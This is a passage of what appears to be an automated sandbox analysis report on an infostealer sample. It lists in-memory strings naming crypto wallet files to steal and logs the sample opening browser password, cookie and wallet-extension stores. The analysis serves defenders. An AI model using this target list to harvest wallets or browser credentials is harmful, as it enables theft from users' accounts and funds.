Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
